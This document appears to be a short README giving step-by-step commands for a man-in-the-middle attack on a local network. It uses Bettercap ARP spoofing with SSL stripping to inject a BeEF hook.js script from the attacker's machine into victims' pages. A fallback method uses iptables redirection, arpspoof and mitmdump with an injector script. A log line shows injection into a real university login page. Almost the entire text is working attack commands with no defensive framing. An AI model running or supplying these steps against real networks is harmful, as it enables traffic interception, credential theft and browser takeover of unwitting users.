-
Start beef-xss:
sudo beef-xss
-
Run Bettercap with the specified network interface:
bettercap -iface eth0
-
Enable network probing:
net.probe on
-
Choose your target and disable network probing:
net.probe off
-
Set ARP spoof targets and other configurations:
set arp.spoof.targets TargetIP,GateawayIP,GateawayIP,TargetIp set http.proxy.sslstrip true set https.proxy.sslstrip true set http.proxy.injectjs http://MyIP:3000/hook.js set https.proxy.injectjs http://MyIP:3000/hook.js
-
Enable ARP spoofing, HTTP/HTTPS proxy, and network sniffing:
arp.spoof on http.proxy on https.proxy on net.sniff on
-
Monitor the logs to see JavaScript injection:
[sys.log] [inf] https.proxy > injecting javascript (87 bytes) into moodle.cs.ucy.ac.cy/login/index.php (27019 bytes) for TargetIP
Note: If the device is not hooked on the beef-xss dashboard, proceed with the second approach.
-
Start beef-xss:
sudo beef-xss
-
Enable IP forwarding:
sudo sysctl -w net.ipv4.ip_forward=1
-
Set up iptables rules:
sudo iptables -A FORWARD --in-interface [iface] -j ACCEPT sudo iptables -t nat -A PREROUTING -i [iface] -p tcp --dport 80 -j REDIRECT --to-port 8080
-
Run ARP spoofing:
arpspoof -i [iface] -t [victim-ip] [gateway-ip] arpspoof -i [iface] -t [gateway-ip] [victim-ip]
-
Start mitmdump with a custom script:
mitmdump --mode transparent -s js_injector.py
Use the js_injector.py
file in the git repository.